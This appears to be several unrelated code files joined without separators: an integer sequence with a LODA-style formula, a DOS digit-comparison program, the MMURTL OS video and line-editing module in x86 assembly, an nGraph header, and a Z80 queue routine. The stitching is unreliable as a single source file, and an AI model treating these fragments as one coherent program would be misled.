1430568690241985328321,1681512539062500000000,1970159940665516705121,2301266018829326155776,2680075522684232197281,3112362357518573773056,3604471462609062890625,4163363127196737601536,4796659837465472798721,5512695749115635425536,6320568881861114481441,7230196133913600000000,8252371216253628965601,9398825608223559926016,10682292637713281848641,12116574790945106558976,13716614358599937890625,15498567526762454466816,17479882022898686824161,19679378428815013380096,22117335274283243536161,24815578026752100000000,27797572094301056199681,31088519960728128454656,34715462573398866358401,38707385106219428618496,43095327221832275390625,47912497958868651933696,53194395371827682204001,58978931052887534797056,65306559666689767436481,72220413630873600000000,79766443076872509863361,87993561227221187133696,96953795327356531134561,106702443271632013295616,117298236065000375390625,128803506263555275858176,141284362538858140730241,154810870512712119484416,169457240010780689926401,185302018885184100000000,202428293557942478212641,220923896438870088155136,240881620373260846385121,262399440276440866734336,285580742113999437890625,310534559388245484896256,337375817293172208994881,366225584701948244050176,397211334152689311549921 pow $0,8 mul $0,43046721
.MODEL SMALL .STACK 100h .DATA N1 DB ? N2 DB ? .CODE MOV AX, @DATA MOV DS, AX MOV AH, 1 INT 21h MOV N1, AL SUB N1, 30h MOV AH, 1 INT 21h MOV N2, AL SUB N2, 30h MOV BL, N1 MOV BH, N2 SUB BH, BL CMP BH, 0 JG N2GREATER JS N2SMALLER JMP EXIT N2GREATER: MOV AH, 2 MOV DL, N1 ADD DL, 30h INT 21h JMP EXIT N2SMALLER: MOV AH, 2 MOV DL, N2 ADD DL, 30h INT 21h JMP EXIT EXIT: MOV AH, 4Ch INT 21h
; MMURTL Operating System Source Code ; Written by Richard A. Burgess ; This code is released to the public domain. ; "Share and enjoy....." ;) ;This module contains ALL Video code & Data ; (along with EdLine for lack of a better place) ; ;This module supports MMURTL's Virtual Text Video. ;All video calls are based on the video information in the job's ;Job Control Block. ; ;Virtual video buffers allow a job to output data even when it is ;not assigned to the real video display buffer. ; ;The call SetVidOwner is the key. It swaps virtual buffers for the real one ;and changes the current pointer in that job's JCB. It also updates ;the cursor in the correct place on entry. ; ; The following calls are implemented here: ; ;------------------------------ ;GetVidOwner(pdJobNumRet) ; Desc: This returns the Job Number that currently has active video ; screen. ;------------------------------ ;SetVidOwner(ddJobNum) ; Desc: This selects the screen that you see. This call is used ; by the monitor in conjunction with the SetKbdOwner call to change ; who gets the keystrokes and video (should be the same app). ; The internal debugger is the only code that will use this call ; and not move the keyboard also. It has it's own keyboard code ; (else how could it debug the real keyboard code??) ; Params: ; ddJobNum is the new Job to get the active screen ; (the one to be displayed) ;------------------------------ ;SetNormVid(dAttr) ; Desc: This selects the normal background attribute and fill char ; used by ClrScr and ScrollVid on the screen. ; Params: ; dCharAttr is the Character and aAttr values used in ; standard video operation on the current screen ; ;------------------------------ ;GetNormVid(pVidRet) ; ; Desc: This returns the value the normal screen attribute ; used by ClrScr and ScrollVid on the screen. ; ; Params: ; pVidRet points to the character where you want the NormVid ; attribute returned. ; ;------------------------------ ;ClrScr (); ; ; Desc: ; This clears the screen for the executing job. It may or may not ; be the one you are viewing... ; ;------------------------------ ;TTYOut (pTextOut, ddTextOut, ddAttrib) ; ; Desc: This places characters on the screen in a TTY fashion at the ; X & Y coordinates that are in effect for that screen. ; The following characters in the stream are interpreted as follows: ; Hex Action ; 0A Line Feed ; The cursor (next active character placement) will be on the ; following line at column 0. If this line is below the bottom ; of the screen, the entire screen will be scrolled up on line, ; the bottom line will be blanked, and the cursor will be placed ; on the last line in the first column. ; 0D Carriage Return ; The Cursor will be moved to column zero on the current line. ; 08 BackSpace - The cursor will be moved one column to the left. ; If already at column 0, Backspace will have no effect. ; The backspace is non-destructive (no chars are changed) ; ; pTextOut is a NEAR Ptr to the text. ; ddTextOut is the number of chars of text. ; ddAttrib is the attribute/Color you want. ; ;------------------------------ ;PutVidChars(ddCol,ddLine,pChars,sChars,ddAttrib) ; ; Desc: This places characters on the screen without affecting ; the current TTY coordinates or the TTY data. It is independent ; of the current video "Stream." ; ; Params: ; ddCol is the column to start on (0-79) ; ddLine is the line (0-24) ; pChars is a pointer the text to be displayed ; sChars is the number of chars ; ddAtrib is the color/attribute to use during display ; which applies to all of the characters on this ; call to PutVidChars. ;------------------------------ ;GetVidChar(ddCol,ddLine,pCharRet,pAttrRet) ; ; Desc: This returns the current character and attribute ; from the screen coordinates you specify. ; ; Params: ; ddCol is the column to start on (0-79) ; ddLine is the line (0-24) ; pCharRet is a pointer where you want the character returned ; pAttrRet is a pointer where you want the attribute returned ;------------------------------ ;PutVidAttrs(ddCol,ddLine,sChars,dAttr) ; ; Desc: This sets screen colors (attrs) for the without affecting ; the current TTY coordinates or the character data. It is independent ; of the current video "Stream." ; ; Params: ; ddCol is the column to start on (0-79) ; ddLine is the line (0-24) ; sChars is the number of char spaces to place dAttr ; dAttr is the color/attribute to fill the character spaces with ; ;------------------------------ ;ScrollVid(ddULCol,ddULline,nddCols,nddLines, ddfUp) ; ; Desc: This scrolls the described square area on the screen either ; UP or DOWN one line. If ddfUp is NON-ZERO the scroll will be UP. ; The line left blank is filled with NormAttr from JCB. ; Parms: ; ddULCol is the UPERR LEFT column to start on (0-79) ; ddULLine is the UPPER LEFT line (0-24) ; nddCols is the number of columns to be scrolled. ; nddLines is the count of lines to be scrolled. ; ddfUp is NON-ZERO to cause the scroll to be up (vise down). ; ; If you want to scroll the entire screen UP one line, the ; params would be ScrollVid(VidNum, 0,0,80,25,1). ; In this case the top line is lost (not really scrolled), ; and the bottom line would be blanked. Infact, if you specified ; (Vidnum, 0,1,80,24,1) you would get the same results. ; ;------------------------------ ;SetXY(NewX,NewY) ; Desc: Position VGA cursor (Text mode) to the X & Y position. ; ; Params: ; NewX is the new horizontal cursor postion ; NewY is the new vertical cursor position ; ;------------------------------ ;GetXY(pXRet,pYRet) ; Desc: Returns the current X & Y position for your job. ; ; Params: ; pXRet is a ptr where you want the current horizontal cursor postion ; pYRet is a ptr where you want the current vertical cursor position ; .DATA .INCLUDE MOSEDF.INC .INCLUDE JOB.INC ;This is the data for the virtual character video service. ;The video code is fully reentrant because each job has it's own ;video screen. Only one of these screens will be the active video ;display. ; ;Video Equates and Types ; CRTCPort1 EQU 03D4h ;Index port for CRTC CRTCPort2 EQU 03D5h ;Data port for CRTC CRTCAddHi EQU 0Ch ;Register for lo byte of Video address CRTCAddLo EQU 0Dh ;Register for lo byte of Video address CRTCCurHi EQU 0Eh ;Register for lo byte of Cursor address CRTCCurLo EQU 0Fh ;Register for lo byte of Cursor address CRTC0C DB 0 ;CRT Reg 0C HiByte address value CRTC0D DB 0 ;CRT Reg 0D LoByte address value PUBLIC ddVidOwner DD 1 ;JCB that currently owns video ;Default to monitor (Job 1) ;End of Data & Equates ; ;============================================================================ ; BEGIN INTERNAL CODE FOR VIDEO ;============================================================================ ; .CODE ; EXTRN GetpJCB NEAR EXTRN GetpCrntJCB NEAR EXTRN ReadDbgKbd NEAR EXTRN GetCrntJobNum NEAR ;InitVideo makes Video Screen 0 the default screen. That ;makes the VGATextBase address 0B8000h ; PUBLIC InitVideo: MOV AL, CRTCAddHi ;Index of hi byte MOV DX, CRTCPort1 ;Index Port OUT DX, AL MOV AL, CRTC0C ;hi byte value to send MOV DX, CRTCPort2 ;Data Port OUT DX, AL ; MOV AL, CRTCAddLo ;Index of lo byte MOV DX, CRTCPort1 ;Index Port OUT DX, AL MOV AL, CRTC0D ;lo byte value to send MOV DX, CRTCPort2 ;Data Port OUT DX, AL RETN ; ;============================================================================ ; BEGIN PUBLIC CODE FOR VIDEO ;============================================================================ ; ;============================================================================ ; SetVidOwner - Make a new a screen actively displayed. ; EAX Returns NON-Zero if JOB number is invalid ddJobVidCV EQU DWORD PTR [EBP+12] PUBLIC __SetVidOwner: PUSH EBP ; MOV EBP,ESP ; MOV EAX, ddJobVidCV ; CMP EAX, ddVidOwner ;Already own it? JNE ChgVid01 ;No XOR EAX, EAX ;Yes JMP ChgVidDone ChgVid01: CALL GetpJCB ;Leaves ptr to new vid JCB in EAX CMP DWORD PTR [EAX+pVidMem] ,0 ;Got valid video memory??? JNE ChgVid02 ;Yes MOV EAX, ErcVidNum ;NO! Give em an error! JMP ChgVidDone ChgVid02: ;Save data on screen to CURRENT job's pVirtVid MOV EAX, ddVidOwner CALL GetpJCB PUSH VGATextBase ;Source MOV EBX, [EAX+pVirtVid] ;Destination PUSH EBX PUSH 4000 ;Size of video CALL FWORD PTR _CopyData ;Do it! ;Make pVidMem same as pVirtVid for CURRENT OWNER MOV EAX, ddVidOwner CALL GetpJCB ;Leaves ptr to new vid JCB in EAX MOV EBX, [EAX+pVirtVid] MOV [EAX+pVidMem], EBX ;Update current video owner to NEW owner MOV EAX, ddJobVidCV ; MOV ddVidOwner, EAX ;Copy in Data from new pVirtVid MOV EAX, ddVidOwner CALL GetpJCB MOV EBX, [EAX+pVirtVid] ;Source PUSH EBX PUSH VGATextBase ;Destination PUSH 4000 ;Size of video CALL FWORD PTR _CopyData ;Do it! ;Make new pVidMem real video screen for new owner MOV EAX, ddVidOwner CALL GetpJCB MOV EBX, VGATextBase MOV [EAX+pVidMem], EBX ;Set Cursor position MOV EAX, ddVidOwner CALL GetpJCB MOV ECX, EAX MOV EBX, [ECX+CrntX] ;Get current X for new screen MOV EAX, [EBX+CrntY] ;Current Y CALL HardXY ;Set it up XOR EAX, EAX ;No Error ChgVidDone: MOV ESP,EBP ; POP EBP ; RETF 4 ;============================================================================ ; SetNormVid - Sets the normal video attribute (color) used in ; ClrScr, EditLine, and ScrollVid. ; EAX Returns Zero (No Error) ddNormVid EQU DWORD PTR [EBP+12] PUBLIC __SetNormVid: PUSH EBP ; MOV EBP,ESP ; CALL GetpCrntJCB ;pJCB -> EAX MOV EBX, ddNormVid ; MOV [EAX+NormAttr], EBX ; XOR EAX, EAX POP EBP ; RETF 4 ;============================================================================ ; GetNormVid - Returns the normal video attribute (color) used in ; ClrScr, EditLine, and ScrollVid. ; EAX Returns Zero (No Error) pdNormVidRet EQU DWORD PTR [EBP+12] PUBLIC __GetNormVid: PUSH EBP ; MOV EBP,ESP ; CALL GetpCrntJCB ;pJCB -> EAX MOV EBX, [EAX+NormAttr] ; MOV ESI, pdNormVidRet ; MOV [ESI], BL ; XOR EAX, EAX POP EBP ; RETF 4 ;============================================================================ ; GetVidOwner - Returns the Job number of current active video ; number to the caller. ;============================================================================= pVidNumRet EQU DWORD PTR [EBP+12] PUBLIC __GetVidOwner: PUSH EBP ; MOV EBP,ESP ; MOV ESI, pVidNumRet ; MOV EAX, ddVidOwner ; MOV [ESI], EAX ; XOR EAX, EAX ; no error obviously MOV ESP,EBP ; POP EBP ; RETF 4 ;============================================================================= ; Clear caller's video screen (Use Space and Attr from JCB NormAttr) ;============================================================================= ; PUBLIC __ClrScr: PUSH EBP ; MOV EBP,ESP ; CALL GetpCrntJCB ;Leaves ptr to current JCB in EAX MOV EBX, EAX MOV EDI,[EBX+pVidMem] ;EDI points to his video memory MOV EAX, [EBX+NormAttr] ;Attr SHL EAX, 8 ; MOV AL, 20h ; MOV DX, AX SHL EAX, 16 MOV AX, DX ;Fill Char & Attr MOV ECX,0400h CLD REP STOSD PUSH 0 PUSH 0 CALL FWORD PTR _SetXY ;Erc in EAX on Return MOV ESP,EBP ; POP EBP ; RETF ;============================================================================= ; TTYOut: ;============================================================================= pTextOut EQU DWORD PTR [EBP+20] sTextOut EQU DWORD PTR [EBP+16] dAttrText EQU DWORD PTR [EBP+12] DataByte EQU BYTE PTR [ECX] PUBLIC __TTYOut: PUSH EBP ; MOV EBP,ESP ; CALL GetpCrntJCB ;Leaves ptr to current JCB in EAX MOV EBX, EAX MOV EAX, sTextOut ;make sure count isn't null OR EAX, EAX JZ TTYDone TTY00: MOV EAX,[EBX+CrntX] ; EAX has CrntX (col) MOV EDX,[EBX+CrntY] ; EDX has CrntY (line) MOV ECX,pTextOut CMP DataByte,0Ah ; LF? JNE TTY02 INC EDX CMP EDX,[EBX+nLines] ; Equal to or past the bottom? JB TTY06 ; No JMP TTYScr ; Yes, goto scroll TTY02: CMP DataByte,0Dh ; CR? JNE TTY03 MOV EAX,0 JMP TTY06 TTY03: CMP DataByte,08h ; BackSpace? JNE TTY04 CMP EAX,0 JE TTY04 DEC EAX JMP TTY06 TTY04: PUSH EBX ;Save pointer to VCB PUSH EAX ;X (Param 1) PUSH EDX ;Y (Param 2) PUSH ECX ;pointer to text char (Param3) PUSH 1 ;Param 4 (nchars) MOV ECX,dAttrText ; PUSH ECX ;Param 5 CALL FWORD PTR _PutVidChars ; POP EBX ;restore ptr to VCB CMP EAX, 0 JNE TTYDone MOV EAX, [EBX+CrntX] MOV EDX, [EBX+CrntY] INC EAX ;Next column CMP EAX,[EBX+nCols] JNE TTY06 ;Make cursor follow MOV EAX,0 INC EDX CMP EDX,[EBX+nLines] ; past the bottom? JNE TTY06 ; No - goto 06 else fall thru TTYScr: DEC EDX ; back up one line PUSH EAX ;Save registers (scroll eats em) PUSH EBX PUSH ECX PUSH EDX PUSH 0 PUSH 0 PUSH 80 PUSH 25 PUSH 1 ;fUP (non zero) CALL FWORD PTR _ScrollVid ;Ignore error POP EDX ;restore registers POP ECX POP EBX POP EAX ;Fall thru to TTY06: PUSH EBX ;save ptr to pJCB PUSH EAX PUSH EDX CALL FWORD PTR _SetXY POP EBX ;Restore ptr to VCB CMP EAX, 0 JNE TTYDone DEC sTextOut JZ TTYDone INC pTextOut JMP TTY00 ; Go back for next char TTYDone: MOV ESP,EBP ; POP EBP ; RETF 12 ;============================================================================= ; PutVidAttrs: ; Desc: This sets screen colors (attrs) for the without affecting ; the current TTY coordinates or the character data. It is independent ; of the current video "Stream." ; ; Params: ; ddCol is the column to start on (0-79) ; ddLine is the line (0-24) ; sChars is the number of char spaces to place dAttr ; dAttr is the color/attribute to fill the character spaces with ; ; Start Position in screen memory is (Line * 80 + (Column*2)) ; pass Char, then Color, pass char, then color etc... DO NOT EXCEED 2000! ; Needs to be fixed to tell if ECX + sDDChars will go off screen... ; ;============================================================================= oADDX EQU DWORD PTR [EBP+24] ;Param 1 COLUMN oADDY EQU DWORD PTR [EBP+20] ;Param 2 LINE sADDChars EQU DWORD PTR [EBP+16] ;Param 3 sChars sADDColor EQU DWORD PTR [EBP+12] ;Param 4 Attr PUBLIC __PutVidAttrs: PUSH EBP ; MOV EBP,ESP ; CALL GetpCrntJCB ;Leaves ptr to current JCB in EAX MOV EBX, EAX MOV EDI, [EBX+pVidMem] ;point to this VCBs video memory MOV EBX,oADDx ;x Position SHL EBX,1 ;Times 2 MOV EAX,oADDy ;y Position MOV ECX,0A0h ;Times 160 (char/attrs per line) MUL ECX ;Times nColumns ADD EAX,EBX CMP EAX,0F9Eh ;Last legal posn on screen JBE PutAttrs00 MOV EAX, ErcVidParam JMP PcADone PutAttrs00: MOV ECX,sADDChars OR ECX, ECX JZ PcADone ADD EDI,EAX MOV EAX,sADDColor CLD pcAMore: INC EDI ;Pass the char value STOSB ;Move Color in LOOP pcAMore XOR EAX, EAX ;No Error! pcADone: MOV ESP,EBP ; POP EBP ; RETF 16 ;============================================================================= ; PutVidChars: ; This Places characters on the VGA Character Screen in the XY Coords ; Params ; 1) DD X (Column 0-79) ; 2) DD Y (Line 0-24) ; 3) DD Near Ptr (relative to DS) of string ; 4) DD Size of String ; 5) DD (of which the low order byte is the Color) ; ; Start Position in screen memory is (Line * 80 + (Column*2)) ; Put Char, then Color, then char, then color etc... DO NOT EXCEED 2000! ; Needs to be fixed to tell if ECX + sDDChars will go off screen... ; ;============================================================================= oDDX EQU DWORD PTR [EBP+28] ;Param 1 COLUMN oDDY EQU DWORD PTR [EBP+24] ;Param 2 LINE pDDChars EQU DWORD PTR [EBP+20] ;Param 3 pChars sDDChars EQU DWORD PTR [EBP+16] ;Param 4 sChars sDDColor EQU DWORD PTR [EBP+12] ;Param 5 Attr PUBLIC __PutVidChars: PUSH EBP ; MOV EBP,ESP ; CLI CALL GetpCrntJCB ;Leaves ptr to current JCB in EAX MOV EBX, EAX MOV EDI, [EBX+pVidMem] ;point to this VCBs video memory STI MOV EBX,oDDx SHL EBX,1 ;Times 2 MOV EAX,oDDy MOV ECX,0A0h ;Times 160 MUL ECX ;Times nColumns ADD EAX,EBX CMP EAX,0F9Eh ;Last legal posn on screen JBE PutChars00 MOV EAX, ErcVidParam JMP PcDone PutChars00: MOV ECX,sDDChars OR ECX, ECX JZ PcDone MOV ESI,pDDChars ADD EDI,EAX MOV EAX,sDDColor CLD pcMore: MOVSB ;Move Char in STOSB ;Move Color in LOOP pcMore XOR EAX, EAX ;No Error! pcDone: MOV ESP,EBP ; POP EBP ; RETF 20 ;============================================================================= ;GetVidChar(ddCol,ddLine,pCharRet,pAttrRet) ; ; Desc: This returns the current character and attribute ; from the screen coordinates you specify. ; ; Params: ; ddCol is the column to start on (0-79) ; ddLine is the line (0-24) ; pCharRet is a pointer where you want the character returned ; pAttrRet is a pointer where you want the attribute returned ; oGDDX EQU DWORD PTR [EBP+24] ;Param 1 COLUMN oGDDY EQU DWORD PTR [EBP+20] ;Param 2 LINE pGDDCRet EQU DWORD PTR [EBP+16] ;Param 3 pCharRet pGDDARet EQU DWORD PTR [EBP+12] ;Param 4 pAttrRet PUBLIC __GetVidChar: PUSH EBP ; MOV EBP,ESP ; CALL GetpCrntJCB ;Leaves ptr to current JCB in EAX MOV EBX, EAX MOV EDI, [EBX+pVidMem] ;point to this VCBs video memory MOV EBX,oGDDx SHL EBX,1 ;Times 2 MOV EAX,oGDDy MOV ECX,0A0h ;Times 160 MUL ECX ;Times nColumns ADD EAX,EBX CMP EAX,0F9Eh ;Last legal posn on screen JBE GetChar00 MOV EAX, ErcVidParam JMP PcGDone GetChar00: ADD EDI,EAX ;EDI now points to char MOV ESI,pGDDCRet MOV AL, [EDI] MOV [ESI], AL ;Give them the char INC EDI ;Move to Attr MOV ESI,pGDDARet MOV AL, [EDI] MOV [ESI], AL ;Give them the Attr XOR EAX, EAX ;No Error! pcGDone: MOV ESP,EBP ; POP EBP ; RETF 20 ;============================================================================= ; ScrollVid: ; This scrolls the defined area up or down one line. ; Params ; 1) Upper Left column X (Column 0-79) ; 2) Upper Left line Y (Line 0-24) ; 3) nCols to scroll ; 4) nLines to scroll ; 5) TRUE for up (any NON zero QUAD) ; ; We check all params for validity. ErcVidParam is returned if one is ; invalid. ;============================================================================= oULX EQU DWORD PTR [EBP+28] ;Param 1 COLUMN oULY EQU DWORD PTR [EBP+24] ;Param 2 LINE nddCols EQU DWORD PTR [EBP+20] ;Param 3 Number of columns nddLines EQU DWORD PTR [EBP+16] ;Param 4 Number of Lines ddfUP EQU DWORD PTR [EBP+12] ;Param 5 Attr PUBLIC __ScrollVid: PUSH EBP ; MOV EBP,ESP ; CALL GetpCrntJCB ;Leaves ptr to current JCB in EAX MOV EBX, EAX ;Save pJCB & use in EBX MOV EAX, oULX CMP EAX, 79 JA svErcExit ADD EAX, nddCols CMP EAX, 80 JA svErcExit MOV EAX, oULY CMP EAX, 24 JA svErcExit ADD EAX, nddLines CMP EAX, 25 JA svErcExit CMP ddfUP, 0 ;Scroll UP? JNE svUP0 ;Yes... Scroll UP! ;Scroll DOWN begins MOV EAX, oULY ;First line ADD EAX, nddLines ;Last line MOV ECX, 160 MUL ECX ;times nBytes per line MOV EDI, [EBX+pVidMem] ;EDI points to video memory 0,0 MOV EDX, EBX ;Save pJCB ADD EDI, EAX ;EDI is ptr to 1st dest line ADD EDI, oULX ;offset into line ADD EDI, oULX ;add again for attributes MOV ESI, EDI ; SUB ESI, 160 ;ESI is 1st source line MOV EBX, ESI ;Save in EBX for reload MOV EAX, nDDLines ;How many lines to move DEC EAX ;one less than window height svDOWN1: MOV ECX, nddCols ;How many WORDS per line to move REP MOVSW ;Move a line (of WORDS!) MOV EDI, EBX ;Reload Dest to next line MOV ESI, EDI SUB ESI, 160 MOV EBX, ESI ;Save again DEC EAX JNZ svDOWN1 MOV EAX, [EDX+NormAttr] ;Normal video attributes!!! SHL EAX, 8 MOV AL, 20h ;Space MOV EDI, EBX ;Put the last line into EDI MOV ECX, nddCols CLD REP STOSW XOR EAX, EAX ;No error JMP svDone ;No... scroll down begins svUP0: MOV EAX, oULY ;First line MOV ECX, 160 MUL ECX ;times nBytes per line MOV EDI, [EBX+pVidMem] ;EDI points to video memory 0,0 MOV EDX, EBX ;Save pJCB ADD EDI, EAX ;EDI is ptr to 1st dest line ADD EDI, oULX ;offset into line ADD EDI, oULX ;add again for attributes MOV ESI, EDI ; ADD ESI, 160 ;ESI is 1st source line MOV EBX, ESI ;Save in EBX for reload MOV EAX, nDDLines ;How many lines to move DEC EAX ;two less than window height svUP1: MOV ECX, nddCols ;How many WORDS per line to move REP MOVSW ;Move a line (of WORDS!) MOV EDI, EBX ;Reload Dest to next line MOV ESI, EDI ADD ESI, 160 MOV EBX, ESI ;Save again DEC EAX JNZ svUP1 MOV EAX, [EDX+NormAttr] ;Normal video attributes!!! SHL EAX, 8 MOV AL, 20h ;Space MOV EDI, EBX ;Put the last line into EDI SUB EDI, 160 MOV ECX, nddCols CLD REP STOSW XOR EAX, EAX ;No error JMP svDone svErcExit: ;Error exits will jump here MOV EAX, ErcVidParam svDone: MOV ESP,EBP ; POP EBP ; RETF 20 ; ;============================================================= ; HardXY - Intenal Internal to support SetXY and SetVidOwner ; This sets the hardware cursor position ; Input: ; EAX : New Y position ; EBX : New X position ; Used: ; EAX, EBX, EDX, Flags ; Output: ; None HardXY: MOV ECX,80 MUL ECX ; Line * 80 ADD EAX,EBX ; Line plus column MOV DX,CRTCPort1 ; Index register PUSH EAX MOV AL,CRTCCurLo OUT DX,AL ; Index 0Fh for low byte POP EAX MOV DX,CRTCPort2 ; Data register OUT DX,AL ; Send Low byte out SHR EAX,08 ; shift hi byte into AL PUSH EAX MOV DX,CRTCPort1 MOV AL,CRTCCurHi OUT DX,AL ; Index for High byte POP EAX MOV DX,CRTCPort2 OUT DX,AL ; Send High byte out RETN ; ;============================================================================= ; SetXY: ; Position VGA cursor (Text mode) to the X & Y position. ; Also sets hardware CrntX and CrntY cursor position if ; crnt job is assigned the real screen ;============================================================================= NewX EQU DWORD PTR [EBP+16] NewY EQU DWORD PTR [EBP+12] PUBLIC __SetXY: PUSH EBP ; MOV EBP,ESP ; CALL GetpCrntJCB ;Leaves ptr to current JCB in EAX MOV EBX, EAX MOV ECX,NewX ; Column MOV EDX,NewY ; Line MOV [EBX+CrntX],ECX ; This saves it in the VCB MOV [EBX+CrntY],EDX ; CALL GetCrntJobNum ;Leaves ptr to current JCB in EAX CMP EAX, ddVidOwner JNE GotoXYDone ;If not on Active screen, skip it MOV EAX,NewY ;Setup to call HardXY MOV EBX,NewX CALL HardXY GotoXYDone: XOR EAX,EAX ;No Error MOV ESP,EBP ; POP EBP ; RETF 8 ;============================================================================= ; GetXY: ; Returns position of VGA cursor (Text mode X & Y position). ; This appliies to the values for the caller's VCB ;============================================================================= pXret EQU DWORD PTR [EBP+16] pYret EQU DWORD PTR [EBP+12] PUBLIC __GetXY: PUSH EBP ; MOV EBP,ESP ; CALL GetpCrntJCB ;Leaves ptr to current JCB in EAX MOV EBX, EAX MOV EAX,[EBX+CrntX] ; Column MOV ESI,pXret MOV [ESI], EAX MOV EAX,[EBX+CrntY] ; Line MOV ESI,pYret MOV [ESI], EAX XOR EAX,EAX QXYDone: MOV ESP,EBP ; POP EBP ; RETF 8 ;============================================================================= ; EditLine ; Reads a line of text from the keyboard and puts it into the ; specified string with full line editing features. ; ; EditLine(pStr, dCrntLen, dMaxLen, pdLenRet, pbExitChar): dError ; ; Param 1 is a NEAR Ptr to string to be edited ; Param 2 is current length of string to edit (80 Max) ; Param 3 is the max length the string can be (80 Max) ; Param 4 is a NEAR Ptr to a DD where the length of the string is returned ; Param 5 is a pointer to a Byte where the exit key from the edit ; operation is returned. ; Param 6 is the editing attribute to use. ; ; Display and keyboard are handled entirely inside EditLine. ; The following keys are recognized and handled inside, any other key ; causes Editline to exit returning the string in it's current condition ; and returning the key that caused the exit to pKeyRet: ; ; 08 (Backspace) move cursor to left replacing char with 20h ; which is a destructive backspace ; 20-7E Hex places character in current position and advances position ; Any other keystroke causes the edit line routine to be exited ; with that keystroke returned to pExitKeyRet ; ; ;============================================================================= pEdString EQU DWORD PTR [EBP+32] ddSzCrnt EQU DWORD PTR [EBP+28] ddSzMax EQU DWORD PTR [EBP+24] pddSzRet EQU DWORD PTR [EBP+20] pExitKeyRet EQU DWORD PTR [EBP+16] dEditAttr EQU DWORD PTR [EBP+12] ;Local vars EditX and EditY hold position of first char of text ;CrntX is the cursor postion ; PosnX EQU DWORD PTR [EBP-04] EditX EQU DWORD PTR [EBP-08] EditY EQU DWORD PTR [EBP-12] KeyCode EQU DWORD PTR [EBP-16] PUBLIC __EditLine: PUSH EBP ; MOV EBP,ESP ; SUB ESP, 16 CMP ddSzCrnt, 80 ;Is it currently too long? JA BadEdit CMP ddSzMax, 80 ;Is Max len to long? JA BadEdit MOV EAX, ddSzCrnt CMP EAX, ddSzMax ;Is Crnt len > Max??? JA BadEdit LEA EAX, EditX ;Get current cursor posns in local vars PUSH EAX LEA EAX, EditY PUSH EAX CALL FWORD PTR _GetXY CMP EAX, 0 JNE EditDone ;Bad Erc from call MOV EAX, EditX ADD EAX, ddSzCrnt MOV PosnX, EAX ;make PosnX end of string MOV ECX, ddSzMax SUB ECX, ddSzCrnt ;ECX how many bytes to zero JZ EdLn01 ;None to zero out MOV ESI, pEdString ;Initialize currrent string ADD ESI, ddSzCrnt ;ESI ptr to 1st empty byte MOV AL, 20h ;fill with spaces Edln00: MOV [ESI], AL INC ESI LOOP Edln00 EdLn01: PUSH PosnX PUSH EditY CALL FWORD PTR _SetXY CMP EAX, 0 JNE EditDone EdLn02: PUSH EditX ;Display current string PUSH EditY PUSH pEdString PUSH ddSzMax PUSH dEditAttr ;Attribute they selected CALL FWORD PTR _PutVidChars CMP EAX, 0 JNE EditDone EdLn03: LEA EAX, KeyCode PUSH EAX CMP ddVidOwner, 2 ;Debugger??? JE EdLn035 PUSH 1 ;Wait for a key CALL FWORD PTR _ReadKbd ;Get a key JMP SHORT EdLn036 EdLn035: CALL ReadDbgKbd EdLn036: MOV EAX, KeyCode AND EAX, 07Fh OR EAX, EAX JZ EdLn03 CMP EAX, 08h ;BackSpace? JNE EdLn04 ;No - Next test EdLn037: CMP ddSzCrnt, 0 JE EdLn01 DEC PosnX DEC ddSzCrnt MOV ESI, pEdString MOV ECX, ddSzCrnt MOV BYTE PTR [ESI+ECX], 20h JMP Edln01 EdLn04: CMP EAX, 03h ;Left? JNE EdLn045 ;No - Next test JMP EdLn037 EdLn045: CMP EAX, 83h ;Num-Left? JNE EdLn046 ;No - Next test JMP EdLn037 EdLn046: CMP EAX, 0Dh ;CR? JNE EdLn05 ;No - Next test JMP EdLn07 EdLn05: CMP EAX, 1Bh ;Escape? JNE EdLn06 ;No - Next test JMP EdLn07 EdLn06: CMP EAX, 7Eh ;Is it above text? JA EdLn07 ;Yes, Exit! CMP EAX, 20h ;Is it below text?? JB EdLn07 ;Yes, Exit MOV ESI, pEdString ;It's really a char! MOV ECX, ddSzCrnt MOV BYTE PTR [ESI+ECX], AL MOV ECX, ddSzMax CMP ddSzCrnt, ECX JAE EdLn01 INC PosnX INC ddSzCrnt JMP EdLn01 EdLn07: MOV ESI,pExitKeyRet MOV [ESI], AL MOV ESI,pddSzRet MOV EAX, ddSzCrnt MOV [ESI], EAX PUSH EditX ;Display current string w/Norm Attrs PUSH EditY PUSH pEdString PUSH ddSzMax CALL GetpCrntJCB ;Leaves ptr to current JCB in EAX MOV EBX, [EAX+NormAttr] PUSH EBX ;Normal Attribute from JCB CALL FWORD PTR _PutVidChars ;Ignore error (we are leaving anyway) XOR EAX, EAX JMP EditDone BadEdit: MOV EAX, ErcEditParam EditDone: MOV ESP,EBP ; POP EBP ; RETF 24 ;===================== END OF MODULE ================
// Copyright (C) 2020 Intel Corporation // SPDX-License-Identifier: Apache-2.0 // #pragma once #include "ngraph/node.hpp" std::vector<std::int64_t> evaluateTargetShape(const ngraph::Output<ngraph::Node>& value);
; int __CALLEE__ adt_QueuePushBack_callee(struct adt_Queue *q, void *item) ; 09.2005 aralbrec SECTION code_clib PUBLIC adt_QueuePushBack_callee PUBLIC _adt_QueuePushBack_callee PUBLIC asm_adt_QueuePushBack EXTERN _u_malloc .adt_QueuePushBack_callee ._adt_QueuePushBack_callee pop hl pop de ex (sp),hl .asm_adt_QueuePushBack ; enter: HL = struct adt_Queue * ; DE = item ; exit : HL = 0 and carry reset if memory allocation failed ; carry set if success push de push hl ld hl,4 ; sizeof (struct adt_QueueNode) push hl call _u_malloc ; get memory for a queue node pop de pop de ; de = struct adt_Queue * pop bc ; bc = item ret nc ; ret with hl = 0 if alloc failed push hl ; stack = new QueueNode* ld (hl),c ; store item in new QueueNode container inc hl ld (hl),b inc hl xor a ld (hl),a ; QueueNode.next = 0 inc hl ld (hl),a ex de,hl ; hl = Queue.count ld a,(hl) inc (hl) ; count++ inc hl ld c,(hl) jr nz, nohi inc (hl) .nohi or c ; Z flag if no items in queue inc hl ; hl = Queue.front pop bc ; bc = new QueueNode jp nz, Qnotempty ld (hl),c ; an empty queue so make inc hl ; Queue.front = new QueueNode ld (hl),b dec hl .Qnotempty inc hl inc hl ; hl = Queue.back ld e,(hl) ; de = current last QueueNode ld (hl),c ; Queue.back = new QueueNode inc hl ld d,(hl) ld (hl),b ex de,hl ; hl = last QueueNode inc hl inc hl ld (hl),c ; last QueueNode.next = new QueueNode inc hl ld (hl),b scf ret
